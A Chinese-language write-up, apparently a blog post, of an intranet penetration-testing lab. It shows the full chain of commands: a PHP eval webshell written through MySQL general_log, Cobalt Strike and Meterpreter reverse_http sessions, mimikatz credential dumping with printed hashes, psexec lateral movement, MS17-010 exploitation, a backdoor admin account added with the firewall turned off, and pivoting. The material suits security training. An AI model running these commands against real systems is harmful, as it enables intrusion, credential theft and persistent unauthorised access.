靶场说明

虚拟机的统一密码:

hongrisec@2019
//有些靶机密码过期需要更改,统一改成下面这个
Hongrisec@2019

官方的靶场描述

一、环境搭建
1.环境搭建测试
2.信息收集

二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集

三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞

四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权

五、构建通道
18.内网其它主机端口-代理转发

六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用

七、痕迹清理
25、日志清理

靶场拓扑结构

image-20240502190140254

image-20240502222209415

win7为网站服务器,winServer为域成员,win2k3为域控

环境配置

这里win7相当于网站服务器,需要两个网卡,我这里设置为VMnet2(仅主机模式)和VMnet8(NAT模式,和外界连通)

image-20240502223937110

win7

image-20240502224014134

win_server

image-20240502224057123

win2k3

image-20240502224144546

设置完之后需要去网络共享将ipv4改成自动获取地址,然后Windows7防火墙要关闭不然外界ping不通;

最后去相互ping一下看能否连通即可

最后启动win7上的web服务即可

image-20240502234452111

然后去访问一下是能看到php探针的

image-20240502234617353

难绷后面发现win7使用net user /domain连不上域网络,配了好久才好但也不清楚具体什么原因;配置的时候就严格按照官方的网段来配置重新配了一遍,将VMnet2网卡配置成192.168.52.xx网段,因为虚拟机一开始就已经配置了固定的ip。

Web页面渗透

php探针

就直接先从php的探针首页开始入手,从这里开始渗透这个Web网站

image-20240502235433732

看到有个mysql连接先检测一下看看,直接root、root尝试一下

image-20240502235519904

运气很好直接成功了,但是现在暂时没什么用

其他页面

那就惯例来目录扫描看一看,这里用gobuster

gobuster dir -u "http://192.168.20.134/" --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20240502235937240

但是基本都是403,但是有一个phpmyadmin后台页面开着

然后用我们刚刚测试出来的数据库用户名和密码直接就可以登进去了(root:root)

image-20240503000212471

phpmyadmin后台getshell

参考文章:https://www.cnblogs.com/0nc3/p/12071314.html

总结一下大致有这几种getshell方式:

  1. select into outfile直接写入shell

    条件:

    • 对web目录需要有写权限能够使用单引号
    • 知道绝对路径
    • secure_file_priv没有具体值
  2. 全局日志getshell

    条件:root权限

  3. 慢查询日志getshell

一开始尝试直接into outfile写入木马失败,绝对路径可以从上面的php探针页面知道网站的绝对路径为: C:/phpStudy/WWW,也可以通过@@basedir来查询,只不过查到的是mysql的根目录,但是可以反推一下

select "<?php eval($_POST[1]);?>" into outfile 'C:/phpStudy/WWW/shell.php';

image-20240503002537962

去看一下参数

show global variables like '%secure%';

image-20240503002657736

这里为NULL代表限制mysql不允许导入导出,那就只能看一下其他方法了

全局日志写shell

这里看看全局日志的配置情况

show variables like '%general%';

image-20240503002947148

然后我们可以开启general_log,并修改文件位置为我们的网站的shell.php

set global general_log = on;
set global general_log_file = 'C:/phpStudy/WWW/shell.php';

image-20240503003300408

接下来我们直接查询一下木马就会写入日志了

select "<?php eval($_POST[1]);?>"

最后蚁剑连接成功getshell

image-20240503003518399

yxcms

我们getshell之后可以看到还有一个yxcms,这是当时没扫出来的

image-20240503003928666

这个地方看网上也是一个后台,在首页的公告栏处就会有账号密码,登陆之后就可以直接添加一个shell.php的文件了,这里就不测了。

CS打法

这里刚好熟悉一下cs的使用,用cs来上线靶机,cs的简单部署也直接记录在这里好了

cs部署

先安装java环境,网上随便找个教程即可,这里安装java8参考:https://cloud.tencent.com/developer/article/2105638

这里记录一下安装命令:

#先官网下载一个jdk包,创建一个目录存放解压后文件,我这里的jdk是"jdk-8u401-linux-x64.tar.gz"
sudo mkdir /usr/lib/jvm
sudo tar -zxvf jdk-8u401-linux-x64.tar.gz -C /usr/lib/jvm
#修改环境变量
sudo vim ~/.bashrc
#文件末尾添加
#set oracle jdk environment
export JAVA_HOME=/usr/lib/jvm/jdk1.8.0_401 ## 这里要注意目录要换成自己解压的jdk 目录
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
#使环境变量生效
source ~/.bashrc
#设置默认jdk
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.8.0_401/bin/java 300
sudo update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk1.8.0_401/bin/javac 300
sudo update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk1.8.0_401/bin/jar 300
sudo update-alternatives --install /usr/bin/javah javah /usr/lib/jvm/jdk1.8.0_401/bin/javah 300
sudo update-alternatives --install /usr/bin/javap javap /usr/lib/jvm/jdk1.8.0_401/bin/javap 300
#执行
sudo update-alternatives --config java
#测试安装成功
java -version
javac -version

用一台外网主机来部署cs服务器,要给server目录下的teamserver文件可执行权限

image-20240503112207679

然后启动团队服务器,设置当前服务器的ip地址和密码

./teamserver <vps地址> <密码>

然后利用启动脚本启动,我用的4.8版本只有一个启动脚本,其他版本是分不同系统不同的启动脚本,我这里启动脚本在Windows启动不了,环境没搞定,所以我就用kali了

image-20240503162849976

然后输入主机和密码登陆即可,用户名随便定

image-20240503163035180

我这里服务器搭在了腾讯云上面,记得要开放50050的防火墙端口才能连上

具体功能使用可以看这篇文章:https://wiki.wgpsec.org/knowledge/intranet/Cobalt-Strike.html

云服务器搭建可能出现的问题参考这篇文章:云服务器上搭建cobalt strike遇到的一些小问题 - 亨利其实很坏 - 博客园 (cnblogs.com)

cs上线靶机

生成一个Windows后门通过蚁剑上传到靶机

image-20240503164400241

在这之前要先配置一个监听器

image-20240503165738645

利用蚁剑上传到网站后,运行该程序即可看到靶机上线

image-20240503165821623

可以直接右击靶机利用mimikatz抓取本地密码,或者直接输入hashdump列出用户哈希

image-20240503170150900

然后利用Explore=》new view探测一下其他主机

image-20240503170603756

image-20240503170916667

扫出了我们内网的另外两台靶机

域内信息搜集

麻了,这里win7连不上域控是真的无语,也不知道网卡出了什么问题搞了半天。

后来严格按照官网重新配了一遍才好,上面也有说明;

可以使用sleep 0加快一下交互,不过实战可能最好不要,因为容易被发现

image-20240508231828984

我们可以先确定一下域控和其他域用户

判断域环境

shell net config workstation

image-20240508232032749

判断域用户

shell net user /domain

image-20240508232158760

判断域控

shell net group "Domain Controllers" /domain

image-20240508232406793

确定了域控的主机为OWA$,可以ping一下看能不能通

image-20240508232935606

利用net time也可以定位域控,这里就不演示了

看一下域管理员

shell net group "Domain Admins" /domain

image-20240508233119937

横向移动

直接输入net view命令可以探测到其他的域主机

image-20240508233307337

image-20240508233320930

点击上图的地方列出我们刚刚扫描出来的内网主机,右击选择jump=》psexec去登陆一下尝试,密码就是我们改过的这个Hongrisec@2019,因为密码一般都是由域控管理的,所以一般都是一样的,所以win7这台靶机其实也应该改成这个密码才对。

然后这里就可以直接一把梭了其实,直接用当前主机的凭据去用psexec横向移动即可,因为凭据都是一样的,然后监听器也选择那个反向shell的http监听器

image-20240508234256791

两台主机都这样选择,然后等待回连即可

emmm很尴尬只上线了一台域控,另一台域成员反而没上线很奇怪

image-20240508235438343

后来先建立了smb监听就可以进行psexec横向移动了,增加一个smb监听器即可

image-20240517224609304

image-20240517224625150

接下来用MSF的打法,学学其他东西

关闭防火墙、添加管理员账户

这里一开始上线应该顺手创立管理员用户然后关闭防火墙的,补一下:

还要开3389用于远程连接

netsh advfirewall set allprofiles state off #win关闭防火墙
net user clown 123qwe@2024 /add #添加账户密码
net localgroup administrators clown #添加为管理员权限
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f #关闭3389

MSF渗透打法

CS联动MSF

这里就不重新用MSF来拿shell了

我们可以CS开启一个新监听,然后msf开启监听,将session转移到msf上面

image-20240517232416545

image-20240517232757549

MSF:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http #一定要注意payload是http不是tcp,一开始用了tcp一直连不上
set lhost 192.168.20.128
set lport 6666
exploit

image-20240518001337395

也可以MSF派生会话给cs

这里记录流程就不试了

首先msf中已有会话session1

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http #两边的payload协议一定要对应的
set DisablePayloadHandler true #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于已经有了一个不需要再产生一个,所以这里设置为true
set lhost xxxx #cobaltstrike服务端ip
set lport xxxx #cobaltstrike服务端监听的端口
set session 1 #这里是当前获得的session的id
exploit

然后cs就可以成功拿到shell

进程迁移

因为meterpreter会话不太稳定,上线后可以做一个进程迁移,参考文章:https://blog.csdn.net/weixin_44023693/article/details/104925099

  1. 先ps获取目标主机的进程

    image-20240518001528797

  2. getpid查看自己的进程号

    image-20240518001555284

  3. 利用migrate迁移到稳定的进程,可以选择svchost.exe或者explorer.exe,这里用explorer.exe

    migrate 1452

    image-20240518002212153

    也可以用自动迁移进程的命令:

    run post/windows/manage/migrate

迁移也会窃取到对应用户的令牌

image-20240518004001288

MSF横向移动

这里可以先抓取一下本地用户的明文密码或者哈希,待会psexec横向移动的时候会用到

hashdump

image-20240518004658364

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
clown:1005:aad3b435b51404eeaad3b435b51404ee:d42bd392b52fdac4b29d5cdf59cff276:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

然后使用kiwi模块,mimikatz已经集成在里面了

use kiwi
help #查看命令

image-20240518004846544

getsystem  #提权
creds_all #获取所有凭据

image-20240518005050479

Administrator  GOD     Hongrisec@2019

进入终端

shell  #进入终端

查看域内主机

chcp 65001  #改变编码,不然会乱码
net view

image-20240518005427752

查看是否为蜜罐

run post/windows/gather/checkvm #查看是否为虚拟机(蜜罐)

image-20240518011240458

添加路由转发

路由转发的具体作用参考这篇文章:https://www.anquanke.com/post/id/86505

大概作用就是利用该主机作为跳板机,在MSF平台上添加去往内网网段的路由

run autoroute -h  #查看路由添加帮助
run get_local_subnets #查看主机所处的所有网段
run autoroute -s 192.168.52.0/24 #添加去往目标网段的路由

run post/multi/manage/autoroute #自动添加路由

image-20240518011451547

image-20240518011507107

image-20240518011553537

继续渗透

路由打通后就需要将会话放到后台然后进行其他攻击操作

background
sessions -i

image-20240518011730502

接下来就可以进行端口扫描

先进行局部端口扫描

background                                      
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141 192.168.52.138 #可以对一整网段也行,具体的主机ip可以从上面的ping主机名获取
set ports 80,135-139,445,3306,3389
run

image-20240518012512080

可以先尝试一下永恒之蓝

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.0/24
set threads 50
run

image-20240518012240761

然后尝试用永恒之蓝攻击拿shell

search ms17-010

image-20240518014204665

use 0
set RHOSTS 192.168.52.138 #192.168.52.141是32位的,这个模块只能打64位的机器
run

额服了138也打不通很怪,一直报这个错误

image-20240518023451960

但是用另一个只能执行一条命令模块能成功,所以还有另一种思路,就是先将三台主机的3389开启之后,先连上第一台Windows7的远程,再连另外两台

另一模块的使用如下:

use 2
set rhosts 192.168.52.138 #目的地址
set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #设置开启3389的命令
run

psexec打法

emmm这个看别人视频打不通,用了frp也不行,视频链接:红日靶场一-哔哩哔哩_bilibili

这里就懒了不试了(

socks代理设置

上面的路由只能msf访问,想要其他应用访问还要设置socks代理,参考这篇文章:https://blog.csdn.net/qq_44159028/article/details/124631522

set Proxies socks5:127.0.0.1:8989
set ReverseAllowProxy true